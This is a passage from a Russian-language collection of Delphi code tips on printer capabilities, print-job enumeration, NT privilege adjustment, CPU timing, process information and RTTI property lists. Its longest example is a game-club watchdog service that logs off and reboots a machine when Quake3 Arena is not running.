MakeFlag('Drawing Styled Border', PolygonalCaps, PC_STYLED);
MakeFlag('Drawing WIDE&STYLED Border', PolygonalCaps, PC_WIDESTYLED);
MakeFlag('Drawing Interiors', PolygonalCaps, PC_INTERIORS);
MakeHex('Text Printing Flags', TEXTCAPS);
DevCtrl.Lines.Add(sep);
DevCtrl.Lines.Add('');
MakeFlag('Support Character Output Precision', TextCaps, TC_OP_CHARACTER);
MakeFlag('Support Stroke Output Precision', TextCaps, TC_OP_STROKE);
MakeFlag('Support Stroke Clip Precision', TextCaps, TC_CP_STROKE);
MakeFlag('Support 90° Character Rotation', TextCaps, TC_CR_90);
MakeFlag('Support any Character Rotaion', TextCaps, TC_CR_ANY);
MakeFlag('Support Character Scaling in X&Y', TextCaps, TC_SF_X_YINDEP);
MakeFlag('Support Character Scaling REAL', TextCaps, TC_SA_DOUBLE);
MakeFlag('Support Character Scaling RATIONAL', TextCaps, TC_SA_INTEGER);
MakeFlag('Support Character Scaling EXACT', TextCaps, TC_SA_CONTIN);
MakeFlag('Support Character Weight REAL', TextCaps, TC_EA_DOUBLE);
MakeFlag('Support Character Italic', TextCaps, TC_IA_ABLE);
MakeFlag('Support Character Underline', TextCaps, TC_UA_ABLE);
MakeFlag('Support Character Strikeout', TextCaps, TC_SO_ABLE);
MakeFlag('Support Character as RASTER FONT', TextCaps, TC_RA_ABLE);
MakeFlag('Support Character as VECTOR FONT', TextCaps, TC_VA_ABLE);
MakeFlag('Reserved Flag ???', TextCaps, TC_Reserved);
MakeFlag('DEVICE NOT USE a SCROLLBIT BLOCK ?', TextCaps, TC_SCROLLBLT);
DevCtrl.Lines.Insert(0, '..THE RESULTS ARE:');
except
// MessageDlg('The Current Printer is not valid ! ',
// mtError,[mbok],0);
Printer.PrinterIndex := -1;
DevCtrl.Lines.Add(' ! The Printer is not valid !');
end;
DevCtrl.Visible := True;
DevCtrl.SetFocus;
end;
Как получить разрешение принтера по умолчанию.
Автор: http://www.swissdelphicenter.ch
uses
Printers;
function GetPixelsPerInchX: Integer;
begin
Result := GetDeviceCaps(Printer.Handle, LOGPIXELSX)
end;
function GetPixelsPerInchY: Integer;
begin
Result := GetDeviceCaps(Printer.Handle, LOGPIXELSY)
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
Caption := Format('x: %d y: %d DPI (dots per inch)',
[GetPixelsPerInchX, GetPixelsPerInchY]);
end;
Как получить статус принтера.
Автор: http://www.swissdelphicenter.ch
function TestPrinterStatus(LPTPort: Word): Byte;
var
Status: byte;
CheckLPT: word;
begin
Status := 0;
if (LPTPort >= 1) and (LPTPort <= 3) then
begin
CheckLPT := LPTPort - 1;
asm
mov dx, CheckLPT;
mov al, 0;
mov ah, 2;
int 17h;
mov &Status, ah;
end;
end;
Result := Status;
end;
{
Pass in the LPT port number you want to check & get the following back:
01h - Timeout
08h - I/O Error
10h - Printer selected
20h - Out of paper
40h - Printer acknowledgement
80h - Printer not busy (0 if busy)
Note:
This function doesn't work under NT, it gives an access violation
from the DOS interrupt call.
}
Как получить информацию о заданиях на принтере.
В Windows существуют встроенные средства для мониторинга заданий на принтере. Однако, давайте разберёмся, как отслеживать задания на принтере программно. Для существует API функция "EnumJobs", которая позволяет получить давольно много информации о текущем состоянии принтера (Имя задания, Состояние, дату, время и т.д.).Ниже представлена функция, которая использует EnumJobs и возвращает массив структуры, в котором представлена вся необходимая информация:
uses WinSpool;
type
JOB_INFO_1_ARRAY = array of JOB_INFO_1;
function GetSpoolerJobs(sPrinterName: string): JOB_INFO_1_ARRAY;
var
i: Integer;
hPrinter: THandle;
bResult: Boolean;
cbBuf: DWORD;
pcbNeeded: DWORD;
pcReturned: DWORD;
aJobs: array[0..99] of JOB_INFO_1;
begin
cbBuf := 1000;
bResult := OpenPrinter(PChar(sPrinterName), hPrinter, nil);
if not bResult then
begin
ShowMessage('Error opening the printer');
exit;
end;
bResult := EnumJobs(hPrinter, 0, Length(aJobs), 1, @aJobs, cbBuf, pcbNeeded,
pcReturned);
if not bResult then
begin
ShowMessage('Error Getting Jobs information');
exit;
end;
ClosePrinter(hPrinter);
for i := 0 to pcReturned - 1 do
begin
if aJobs[i].pDocument <> nil then
begin
SetLength(Result, Length(Result) + 1);
Result[Length(Result) - 1] := aJobs[i];
end;
end;
end;
|
Пример использования:
Создайте новый проект со StringGrid и Timer. В StringGrid установите свойства “ColCount” и “RowCount” в 20. У таймера (Timer) установите свойство “Interval” в 500. В обработчик события “OnTime” таймера добавьте следующий код:
procedure TForm1.Timer1Timer(Sender: TObject);
var
i, ii: Integer;
aJobs: JOB_INFO_1_ARRAY;
begin
for i := 0 to StringGrid1.ColCount - 1 do
for ii := 0 to StringGrid1.RowCount - 1 do
StringGrid1.Cells[i, ii] := '';
aJobs := GetSpoolerJobs('HP LaserJet 6L PCL');
for i := 0 to Length(aJobs) - 1 do
begin
StringGrid1.Cells[i, 0] := aJobs[i].pPrinterName;
StringGrid1.Cells[i, 1] := aJobs[i].pMachineName;
StringGrid1.Cells[i, 2] := aJobs[i].pUserName;
StringGrid1.Cells[i, 3] := aJobs[i].pDocument;
StringGrid1.Cells[i, 4] := aJobs[i].pDatatype;
StringGrid1.Cells[i, 5] := aJobs[i].pStatus;
StringGrid1.Cells[i, 6] := IntToStr(aJobs[i].Status);
case aJobs[i].Status of
JOB_STATUS_PAUSED: StringGrid1.Cells[i, 6] := 'JOB_STATUS_PAUSED';
JOB_STATUS_ERROR: StringGrid1.Cells[i, 6] := 'JOB_STATUS_ERROR';
JOB_STATUS_DELETING: StringGrid1.Cells[i, 6] := 'JOB_STATUS_DELETING';
JOB_STATUS_SPOOLING: StringGrid1.Cells[i, 6] := 'JOB_STATUS_SPOOLING';
JOB_STATUS_PRINTING: StringGrid1.Cells[i, 6] := 'JOB_STATUS_PRINTING';
JOB_STATUS_OFFLINE: StringGrid1.Cells[i, 6] := 'JOB_STATUS_OFFLINE';
JOB_STATUS_PAPEROUT: StringGrid1.Cells[i, 6] := 'JOB_STATUS_PAPEROUT';
JOB_STATUS_PRINTED: StringGrid1.Cells[i, 6] := 'JOB_STATUS_PRINTED';
JOB_STATUS_DELETED: StringGrid1.Cells[i, 6] := 'JOB_STATUS_DELETED';
JOB_STATUS_BLOCKED_DEVQ: StringGrid1.Cells[i, 6] :=
'JOB_STATUS_BLOCKED_DEVQ';
JOB_STATUS_USER_INTERVENTION: StringGrid1.Cells[i, 6] :=
'JOB_STATUS_USER_INTERVENTION';
JOB_STATUS_RESTART: StringGrid1.Cells[i, 6] := 'JOB_STATUS_RESTART';
JOB_POSITION_UNSPECIFIED: StringGrid1.Cells[i, 6] :=
'JOB_POSITION_UNSPECIFIED';
else
StringGrid1.Cells[i, 6] := 'Unknown status...';
end;
end;
StringGrid1.Refresh;
end;
|
Структура JOB_INFO_1 объявлена в юните WinSpool следующим образом:
JOB_INFO_1 = record JobId: DWORD; pPrinterName: PAnsiChar; pMachineName: PAnsiChar; pUserName: PAnsiChar; pDocument: PAnsiChar; pDatatype: PAnsiChar; pStatus: PAnsiChar; Status: DWORD; Priority: DWORD; Position: DWORD; TotalPages: DWORD; PagesPrinted: DWORD; Submitted: TSystemTime; end; |
И массив так же можно объявить следующим образом:
aJobs: array[0..99] of JOB_INFO_1; |
Получение дополнительных привилегий под НТ.
Автор: Денис WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение дополнительных привилегий под НТ
В принципе и так все понятно - задаеш название привилегии и
если это возможно, то система их тебе дает
Зависимости: uses Windows, SysUtils;
Автор: Денис, LiquidStorm_HSS@yahoo.com, Lviv
Copyright: by LiquidStorm, HomeSoftStudios(tm) aka Denis L.
Дата: 9 августа 2003 г.
***************************************************** }
unit NTPrivelegsU;
// NT Defined Privileges
interface
uses Windows, SysUtils;
const
SE_CREATE_TOKEN_NAME = 'SeCreateTokenPrivilege';
SE_ASSIGNPRIMARYTOKEN_NAME = 'SeAssignPrimaryTokenPrivilege';
SE_LOCK_MEMORY_NAME = 'SeLockMemoryPrivilege';
SE_INCREASE_QUOTA_NAME = 'SeIncreaseQuotaPrivilege';
SE_UNSOLICITED_INPUT_NAME = 'SeUnsolicitedInputPrivilege';
SE_MACHINE_ACCOUNT_NAME = 'SeMachineAccountPrivilege';
SE_TCB_NAME = 'SeTcbPrivilege';
SE_SECURITY_NAME = 'SeSecurityPrivilege';
SE_TAKE_OWNERSHIP_NAME = 'SeTakeOwnershipPrivilege';
SE_LOAD_DRIVER_NAME = 'SeLoadDriverPrivilege';
SE_SYSTEM_PROFILE_NAME = 'SeSystemProfilePrivilege';
SE_SYSTEMTIME_NAME = 'SeSystemtimePrivilege';
SE_PROF_SINGLE_PROCESS_NAME = 'SeProfileSingleProcessPrivilege';
SE_INC_BASE_PRIORITY_NAME = 'SeIncreaseBasePriorityPrivilege';
SE_CREATE_PAGEFILE_NAME = 'SeCreatePagefilePrivilege';
SE_CREATE_PERMANENT_NAME = 'SeCreatePermanentPrivilege';
SE_BACKUP_NAME = 'SeBackupPrivilege';
SE_RESTORE_NAME = 'SeRestorePrivilege';
SE_SHUTDOWN_NAME = 'SeShutdownPrivilege';
SE_DEBUG_NAME = 'SeDebugPrivilege';
SE_AUDIT_NAME = 'SeAuditPrivilege';
SE_SYSTEM_ENVIRONMENT_NAME = 'SeSystemEnvironmentPrivilege';
SE_CHANGE_NOTIFY_NAME = 'SeChangeNotifyPrivilege';
SE_REMOTE_SHUTDOWN_NAME = 'SeRemoteShutdownPrivilege';
function AdjustPriviliges(const PrivelegStr: string): Bool; forward;
implementation
function AdjustPriviliges(const PrivelegStr: string): Bool;
var
hTok: THandle;
tp: TTokenPrivileges;
begin
Result := False;
// Get the current process token handle so we can get privilege.
if OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES + TOKEN_QUERY,
hTok) then
try
// Get the LUID for privilege.
if LookupPrivilegeValue(nil, PChar(PrivelegStr), tp.Privileges[0].Luid) then
begin
tp.PrivilegeCount := 1; // one privilege to set
tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
// Get privilege for this process.
Result := AdjustTokenPrivileges(hTok, False, tp, 0,
PTokenPrivileges(nil)^, PDWord(nil)^)
end
finally
// Cannot test the return value of AdjustTokenPrivileges.
if (GetLastError <> ERROR_SUCCESS) then
raise Exception.Create('AdjustTokenPrivileges enable failed');
CloseHandle(hTok)
end
else
raise Exception.Create('OpenProcessToken failed');
end;
end.
Пример использования:
unit uWDog;
// define _DEV_ in developing stage - this mean DEBUG version
{.$DEFINE _DEV_}
// define WRITE_DESKTOP in developing stage if you want
// visible confirmation of service work
{.$DEFINE WRITE_DESKTOP}
// define WRITE_NO_LOGIN if you want to write log when
// nobody logged in
{$DEFINE WRITE_NO_LOGIN}
// define WRITE_FOUND if you want to write log when
// everything ok and process found
{$DEFINE WRITE_FOUND}
// define WRITE_UNCHECKED_LOGINS if you want to write log for
// not checked logins (like Administrator - in release)
{$DEFINE WRITE_UNCHECKED_LOGINS}
{$IFNDEF _DEV_}
{$UNDEF WRITE_DESKTOP}
{$ENDIF}
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, SvcMgr, Dialogs,
ExtCtrls;
type
TwDog = class(TService)
dx_time: TTimer;
procedure ServiceStart(Sender: TService; var Started: Boolean);
procedure ServiceStop(Sender: TService; var Stopped: Boolean);
procedure dx_timeTimer(Sender: TObject);
procedure ServiceCreate(Sender: TObject);
procedure ServiceDestroy(Sender: TObject);
procedure ServiceShutdown(Sender: TService);
private
{ Private declarations }
procedure InitiateShutdown;
//procedure AbortShutdown;
public
function GetServiceController: TServiceController; override;
{ Public declarations }
end;
var
wDog: TwDog;
implementation
{$R *.DFM}
uses ShellAPI, NTPrivelegsU, WinSecur,
FileCtrl{$IFDEF WRITE_DESKTOP}, DeskTopMsg{$ENDIF};
const
TimerInterval = 5000; // in msec = 5 sec
SleepAftLogin = 3000; // in msec = 3 sec
ProcessName = 'Q3Arena.exe';
ClassName = 'Quake3ArenaClassWnd';
WndName = ' '; // 1 space
CheckUsersCount = 2;
{$IFDEF _DEV_}
StekServer = '127.0.0.1';
CheckUsers: array[0..CheckUsersCount - 1] of string =
('Internet', 'Administrator');
{$ELSE}
StekServer = '132.0.0.16';
CheckUsers: array[0..CheckUsersCount - 1] of string =
('Gamer', 'Office');
{$ENDIF}
var
hLog: THandle;
CreateOptScan: LongWord;
xBuf: array[0..$FF - 1] of Char;
LogPath: string;
// ------------- forward declarations
function IsLoggedIn: Boolean; forward;
function WriteLog(Status: string): DWord; forward;
procedure SndMessage; forward;
procedure Kill; forward;
{$IFDEF _DEV_}
procedure ShowError(erno: DWord); forward;
{$ENDIF}
// function ProcessTerminate(dwPID:Cardinal):Boolean; forward;
// -------------
procedure AdjTokenPrivelegs(mmName: string);
var
gler: DWord;
begin
AdjustPriviliges(mmName);
gler := GetLastError;
if (gler <> ERROR_SUCCESS) then
begin
WriteLog(Format('%s: [FAILED] ', [mmName]));
{$IFDEF _DEV_}
ShowError(gler);
{$ENDIF}
exit;
end;
WriteLog(Format('%s: [OK] ', [mmName]));
end;
// -------------
function MyCtrlHandler(dwCtrlType: Dword): Bool; stdcall;
begin
//
case dwCtrlType of
CTRL_LOGOFF_EVENT:
begin
WriteLog('CTRL_LOGOFF_EVENT');
Result := True;
end;
CTRL_SHUTDOWN_EVENT:
begin
WriteLog('CTRL_SHUTDOWN_EVENT');
Result := True;
end;
else
Result := False
end;
end;
// -------------
procedure ServiceController(CtrlCode: DWord); stdcall;
begin
wDog.Controller(CtrlCode);
end;
// -------------
function TwDog.GetServiceController: TServiceController;
begin
Result := ServiceController;
end;
// -------------
procedure TwDog.ServiceStart(Sender: TService; var Started: Boolean);
begin
WriteLog('OnStart');
Started := True;
end;
// -------------
procedure TwDog.ServiceStop(Sender: TService; var Stopped: Boolean);
begin
WriteLog('OnStop');
Stopped := True;
end;
// -------------
procedure TwDog.ServiceCreate(Sender: TObject);
begin
if sysutils.Win32Platform = VER_PLATFORM_WIN32_NT then
CreateOptScan := FILE_FLAG_SEQUENTIAL_SCAN
else
CreateOptScan := 0;
GetWindowsDirectory(xBuf, $FF);
LogPath := Format('%s\wDog', [xBuf]);
ForceDirectories(LogPath);
LogPath := Format('%s\%s.log', [LogPath, FormatDateTime('dd.mm.yyyy', Now)]);
WriteLog('Starting ...');
AdjTokenPrivelegs(SE_SHUTDOWN_NAME);
AdjTokenPrivelegs(SE_DEBUG_NAME);
SetConsoleCtrlHandler(@MyCtrlHandler, True);
dx_time.Interval := TimerInterval;
dx_time.Enabled := true;
WriteLog('Started: [OK]');
end;
// -------------
procedure TwDog.ServiceDestroy(Sender: TObject);
begin
dx_time.Enabled := false;
WriteLog('Stopped: [OK]');
CloseHandle(hLog);
end;
// -------------
function IsLoggedIn: Boolean;
var
stmp: string;
i: Byte;
pid: DWord;
begin
Result := False;
pid := GetPidFromProcessName(GetShellProcessName);
if (pid = 0) or (pid = INVALID_HANDLE_VALUE) then
// no shell running - no body logged in
stmp := EmptyStr
else
// shell running - get interactive user name
stmp := GetInteractiveUserName; // get DOMAIN\User
if stmp = EmptyStr then
begin
{$IFDEF WRITE_NO_LOGIN}
WriteLog('[No_Login]');
{$ENDIF}
Exit;
end;
Delete(stmp, 1, Pos('\', stmp)); // get User
for i := 0 to CheckUsersCount do
if AnsiSameText(stmp, CheckUsers[i]) then
begin
WriteLog(Format('[%s]: check', [stmp]));
Result := True;
exit;
end;
// if no login detected
{$IFDEF WRITE_UNCHECKED_LOGINS}
WriteLog(Format('[%s]: no_check', [stmp]));
{$ENDIF}
end;
// -------------
function IsFoundByClass: Boolean;
var
hwnd: DWord;
begin
// try to find by classname
hwnd := FindWindowEx(0, 0, PChar(ClassName), nil);
if (hwnd = 0) or (hwnd = INVALID_HANDLE_VALUE) then
Result := False
else
Result := True;
{$IFDEF _DEV_}
{$IFDEF WRITE_DESKTOP}
if not Result then
writeDirect(10, 30, 'IsFoundByClass: [NO]')
else
writeDirect(10, 30, 'IsFoundByClass: [YES]')
{$ENDIF}
{$ENDIF}
end;
// -------------
function IsFoundByProcName: Boolean;
var
Pid,
hwnd: DWord;
begin
Pid := GetPidFromProcessName(ProcessName);
hwnd := OpenProcess(PROCESS_ALL_ACCESS, False, Pid);
// if hwnd = 0 then RaiseLastWin32Error;
if (hwnd = 0) or (hwnd = INVALID_HANDLE_VALUE) then
Result := False
else
Result := True;
CloseHandle(hwnd);
{$IFDEF _DEV_}
{$IFDEF WRITE_DESKTOP}
if not Result then
writeDirect(10, 70, 'IsFoundByProcName: [NO]')
else
writeDirect(10, 70, 'IsFoundByProcName: [YES]')
{$ENDIF}
{$ENDIF}
end;
// -------------
// enable complete Boolean expression evaluation
{$B+}
procedure TwDog.dx_timeTimer(Sender: TObject);
begin
// Check login
// - service started under SYSTEM account, so it works on system boot.
// To prevent machine from deadlock we must check if someone
// has logged in.
if IsLoggedIn then
begin
// turn off timer - to prevent
// double elimination
dx_time.Enabled := false;
// make some delay - for user processes startup
// just after login
Sleep(SleepAftLogin);
// try to find by classname, process name
if IsFoundByClass and
IsFoundByProcName then
begin
{$IFDEF WRITE_FOUND}
WriteLog('[FOUND]');
{$ENDIF}
end
else // cheater found
begin
{$IFNDEF _DEV_}
SndMessage;
{$ENDIF}
Kill;
InitiateShutdown;
end;
dx_time.Enabled := True;
end;
end;
{$B-}
// -------------
procedure SndMessage;
var
stmp: string;
buf: array[0..127] of Char;
num: DWord;
begin
num := 128;
stmp := EmptyStr;
if GetComputerName(buf, num) then
SetString(stmp, buf, num)
else
; // no result for netbios name
//
stmp := Format('::Cheater detected on [%s]::', [stmp]);
WriteLog(stmp);
stmp := Format('%s %s', [StekServer, stmp]);
// NetMessageBufferSend
ShellExecute(0, 'open', 'net', PChar('send ' + stmp), nil, SW_HIDE);
sleep(50);
end;
// -------------
procedure Kill;
begin
WriteLog('[KILL]');
{$IFDEF _DEV_}
{$IFDEF WRITE_DESKTOP}
writeDirect(10, 10, 'KILL');
{$ENDIF}
{$ELSE}
ExitWindowsEx(EWX_LOGOFF or EWX_FORCE, 0);
{$ENDIF}
end;
// -------------
function WriteLog(Status: string): DWord;
begin
if (hLog = INVALID_HANDLE_VALUE) or (hLog = 0) then
begin
if FileExists(LogPath) then
hLog := CreateFile(PChar(LogPath),
GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ,
nil,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL or CreateOptScan,
0)
else
hLog := CreateFile(PChar(LogPath),
GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ,
nil,
CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL or CreateOptScan,
0);
if hLog = INVALID_HANDLE_VALUE then
begin
Result := DWord(-1);
exit;
end;
// seek to the end of log
FileSeek(hLog, 0, 2);
end;
FillChar(xBuf, $FF, 0);
Status := Format('%s - %s'#13#10,
[FormatDateTime('hh:nn:ss', Now),
Status]);
move((Pointer(@Status[1]))^, xBuf, Length(Status));
// write buffer
FileWrite(hLog, xBuf, Length(Status));
// flush file buffers
FlushFileBuffers(hLog);
Result := 0;
end;
// -------------
{$IFDEF _DEV_}
procedure ShowError(erno: DWord);
var
MsgBuf: array[0..$FF - 1] of Char;
begin
if erno = ERROR_SUCCESS then
exit;
//
FillChar(MsgBuf, $FF, 0);
FormatMessage(
FORMAT_MESSAGE_FROM_SYSTEM,
nil,
erno,
((WORD(SUBLANG_DEFAULT) shl 10) or WORD(LANG_NEUTRAL)),
MsgBuf,
$FF,
nil);
// Display the string.
MessageBox(0, MsgBuf, 'GetLastError', MB_OK + MB_ICONINFORMATION + MB_TASKMODAL
+ MB_SERVICE_NOTIFICATION);
end;
{$ENDIF}
// -------------
procedure TwDog.InitiateShutdown;
begin
InitiateSystemShutdown(nil, // shut down local computer
'Cheater detected on this system. Shutdown initiated.', // message to user
10, // time-out period
FALSE, // ask user to close apps
TRUE); // reboot after shutdown
// bQuite:=False;
end;
// -- end of source --
Получение количества тактов процессора с момента перезагрузки.
Автор: Григорьев Павел WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение количества тактов процессора с момента перезагрузки
Получение количества тактов процессора с момента перезагрузки.
Производится вызов команды RDTSC x86 процессора.
Имеются во всех процах начиная с Pentium/586.
Подходит для всех версий Дельфи, где есть тип Int64.
Для остальных можно переписать слегка -
результат перекладывать в две переменные Integer.
Я ее использую для определения кол-ва
процессорного времени на выполнение куска кода.
Зависимости: можно использовать на всех процах, начиная с Pentium
Автор: Григорьев Павел, xli@rambler.ru, Щёлково-4
Copyright: справочник по командам процессора Pentium
Дата: 17 декабря 2003 г.
***************************************************** }
function RDTSC: int64; assembler;
asm
db $0F,$31 // RDTSC
end;
Пример использования:
var
TimePeriod: int64;
...
begin
...
TimePeriod := RDTSC;
{кусок анализируемого кода}
TimePeriod := RDTSC - TimePeriod;
{полученное значение TimePeriod можно анализировать}
...
end;
Получить сведения о процессе.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
// Der Quellcode wurde von NicoDE (nico@bendlins.de) geschrieben.
{
Diese Funktion schreibt alle Informationen uber den in Edit1.text angegeneben NT
Prozess (ProzessID) in das Feld Memo1.
}
{
This function write all nt process informations into memo1. In Edit1 you can
specify the processID.
}
type
PDebugModule = ^TDebugModule;
TDebugModule = packed record
Reserved: array [0..1] of Cardinal;
Base: Cardinal;
Size: Cardinal;
Flags: Cardinal;
Index: Word;
Unknown: Word;
LoadCount: Word;
ModuleNameOffset: Word;
ImageName: array [0..$FF] of Char;
end;
type
PDebugModuleInformation = ^TDebugModuleInformation;
TDebugModuleInformation = record
Count: Cardinal;
Modules: array [0..0] of TDebugModule;
end;
PDebugBuffer = ^TDebugBuffer;
TDebugBuffer = record
SectionHandle: THandle;
SectionBase: Pointer;
RemoteSectionBase: Pointer;
SectionBaseDelta: Cardinal;
EventPairHandle: THandle;
Unknown: array [0..1] of Cardinal;
RemoteThreadHandle: THandle;
InfoClassMask: Cardinal;
SizeOfInfo: Cardinal;
AllocatedSize: Cardinal;
SectionSize: Cardinal;
ModuleInformation: PDebugModuleInformation;
BackTraceInformation: Pointer;
HeapInformation: Pointer;
LockInformation: Pointer;
Reserved: array [0..7] of Pointer;
end;
const
PDI_MODULES = $01;
ntdll = 'ntdll.dll';
var
HNtDll: HMODULE;
type
TFNRtlCreateQueryDebugBuffer = function(Size: Cardinal;
EventPair: Boolean): PDebugBuffer;
stdcall;
TFNRtlQueryProcessDebugInformation = function(ProcessId,
DebugInfoClassMask: Cardinal; var DebugBuffer: TDebugBuffer): Integer;
stdcall;
TFNRtlDestroyQueryDebugBuffer = function(DebugBuffer: PDebugBuffer): Integer;
stdcall;
var
RtlCreateQueryDebugBuffer: TFNRtlCreateQueryDebugBuffer;
RtlQueryProcessDebugInformation: TFNRtlQueryProcessDebugInformation;
RtlDestroyQueryDebugBuffer: TFNRtlDestroyQueryDebugBuffer;
function LoadRtlQueryDebug: LongBool;
begin
if HNtDll = 0 then
begin
HNtDll := LoadLibrary(ntdll);
if HNtDll <> 0 then
begin
RtlCreateQueryDebugBuffer := GetProcAddress(HNtDll, 'RtlCreateQueryDebugBuffer');
RtlQueryProcessDebugInformation := GetProcAddress(HNtDll,
'RtlQueryProcessDebugInformation');
RtlDestroyQueryDebugBuffer := GetProcAddress(HNtDll,
'RtlDestroyQueryDebugBuffer');
end;
end;
Result := Assigned(RtlCreateQueryDebugBuffer) and
Assigned(RtlQueryProcessDebugInformation) and
Assigned(RtlQueryProcessDebugInformation);
end;
procedure TForm1.Button1Click(Sender: TObject);
var
DbgBuffer: PDebugBuffer;
Loop: Integer;
begin
if not LoadRtlQueryDebug then Exit;
Memo1.Clear;
Memo1.Lines.BeginUpdate;
DbgBuffer := RtlCreateQueryDebugBuffer(0, False);
if Assigned(DbgBuffer) then
try
if RtlQueryProcessDebugInformation(StrToIntDef(Edit1.Text, GetCurrentProcessId),
PDI_MODULES, DbgBuffer^) >= 0 then
begin
for Loop := 0 to DbgBuffer.ModuleInformation.Count - 1 do
with DbgBuffer.ModuleInformation.Modules[Loop], Memo1.Lines do
begin
Add('ImageName: ' + ImageName);
Add(' Reserved0: ' + IntToHex(Reserved[0], 8));
Add(' Reserved1: ' + IntToHex(Reserved[1], 8));
Add(' Base: ' + IntToHex(Base, 8));
Add(' Size: ' + IntToHex(Size, 8));
Add(' Flags: ' + IntToHex(Flags, 8));
Add(' Index: ' + IntToHex(Index, 4));
Add(' Unknown: ' + IntToHex(Unknown, 4));
Add(' LoadCount: ' + IntToHex(LoadCount, 4));
Add(' ModuleNameOffset: ' + IntToHex(ModuleNameOffset, 4));
end;
end;
finally
RtlDestroyQueryDebugBuffer(DbgBuffer);
end;
Memo1.Lines.EndUpdate;
end;
Получить количество памяти, занимаемое процессом.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
// Works only on Windows NT systems (WinNT, Win2000, WinXP)
// Funktioniert nur unter Windows NT Systemen (WinNT, Win2000, WinXP)
uses psAPI;
procedure TForm1.Button1Click(Sender: TObject);
var
pmc: PPROCESS_MEMORY_COUNTERS;
cb: Integer;
begin
cb := SizeOf(_PROCESS_MEMORY_COUNTERS);
GetMem(pmc, cb);
pmc^.cb := cb;
if GetProcessMemoryInfo(GetCurrentProcess(), pmc, cb) then
Label1.Caption := IntToStr(pmc^.WorkingSetSize) + ' Bytes'
else
Label1.Caption := 'Unable to retrieve memory usage structure';
FreeMem(pmc);
end;
Получение типа процессора.
function GetProcessorType: integer;
{Определение типа процессора.
Функция возвращает следующие значения,
определенные в модуле Windows:
PROCESSOR_INTEL_386
PROCESSOR_INTEL_486
PROCESSOR_INTEL_PENTIUM
PROCESSOR_MIPS_R4000 - Windows NT only
PROCESSOR_ALPHA_21064 - Windows NT only}
var
sysInfo: TSystemInfo;
begin
GetSystemInfo(sysInfo);
Result := sysInfo.dwProcessorType;
end;
Вывести информацию о возможных значениях свойств.
Автор: Xavier Pacheco
unit MainFrm;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, Grids;
type
TMainForm = class(TForm)
lbSamps: TListBox;
memInfo: TMemo;
procedure FormCreate(Sender: TObject);
procedure lbSampsClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
MainForm: TMainForm;
implementation
uses TypInfo, Buttons;
{$R *.DFM}
procedure TMainForm.FormCreate(Sender: TObject);
begin
// Add some example enumerated types
with lbSamps.Items do
begin
AddObject('TBorderIcons', TypeInfo(TBorderIcons));
AddObject('TGridOptions', TypeInfo(TGridOptions));
end;
end;
procedure GetTypeInfoForOrdinal(AOrdTypeInfo: PTypeInfo; AStrings: TStrings);
var
// OrdTypeInfo: PTypeInfo;
OrdTypeData: PTypeData;
TypeNameStr: string;
TypeKindStr: string;
MinVal, MaxVal: Integer;
i: integer;
begin
// Get the TTypeData pointer
OrdTypeData := GetTypeData(AOrdTypeInfo);
// Get the type name string
TypeNameStr := AOrdTypeInfo.Name;
// Get the type kind string
TypeKindStr := GetEnumName(TypeInfo(TTypeKind), Integer(AOrdTypeInfo^.Kind));
// Get the minimum and maximum values for the type
MinVal := OrdTypeData^.MinValue;
MaxVal := OrdTypeData^.MaxValue;
// Add the information to the memo
with AStrings do
begin
Add('Type Name: ' + TypeNameStr);
Add('Type Kind: ' + TypeKindStr);
// Call this function recursively to show the enumeration
// values for this set type.
if AOrdTypeInfo^.Kind = tkSet then
begin
Add('==========');
Add('');
GetTypeInfoForOrdinal(OrdTypeData^.CompType^, AStrings);
end;
// Show the values and names of the enumerated types belonging to the
// set.
if AOrdTypeInfo^.Kind = tkEnumeration then
begin
Add('Min Val: ' + IntToStr(MinVal));
Add('Max Val: ' + IntToStr(MaxVal));
for i := MinVal to MaxVal do
Add(Format(' Value: %d Name: %s', [i, GetEnumName(AOrdTypeInfo,
i)]));
end;
end;
end;
procedure TMainForm.lbSampsClick(Sender: TObject);
begin
memInfo.Lines.Clear;
with lbSamps do
GetTypeInfoForOrdinal(PTypeInfo(Items.Objects[ItemIndex]), memInfo.Lines);
end;
end.
Получить список свойств компонента.
Автор: http://www.lmc-mediaagentur.de You may need to know at runtime what properties are available for a particular component at runtime. The list can be obtained by a call to GetPropList. The types, functions and procedures, including GetPropList, that allow access to this property information reside in the VCL source file TYPINFO.PAS.GetPropList Parameters.
function GetPropList(TypeInfo: PTypeInfo; TypeKinds: TTypeKinds; PropList: PPropList): Integer;
The first parameter for GetPropList is of type PTypeInfo, and is part of the RTTI (Run Time Type Information) available for any object. The record structure defined:
PPTypeInfo = ^PTypeInfo;
PTypeInfo = ^TTypeInfo;
TTypeInfo = record
Kind: TTypeKind;
Name: ShortString;
{TypeData: TTypeData}
end;
The TTypeInfo record can be accessed through the objects ClassInfo property. For example, if you were getting the property list of a TButton, the call might look, so far, like this:
GetPropList(Button1.ClassInfo, ....
The second parameter, of type TTypeKinds, is a set type that acts as a filter for the kinds of properties to include in the list. There are a number of valid entries that could be included in the set (see TYPEINFO.PAS), but tkProperties covers the majority. Now our call to GetPropList would look like:
GetPropList(Button1.ClassInfo, tkProperties ....
The last parameter, PPropList is an array of PPropInfo and is defined in TYPEINFO.PAS:
PPropList = ^TPropList; TPropList = array[0..16379] of PPropInfo;
Now the call might read:
procedure TForm1.FormCreate(Sender: TObject);
var
PropList: PPropList;
begin
PropList := AllocMem(SizeOf(PropList^));
GetPropList(TButton.ClassInfo, tkProperties + [tkMethod], PropList);
{...}
Getting Additional Information from the TTypeInfo Record:
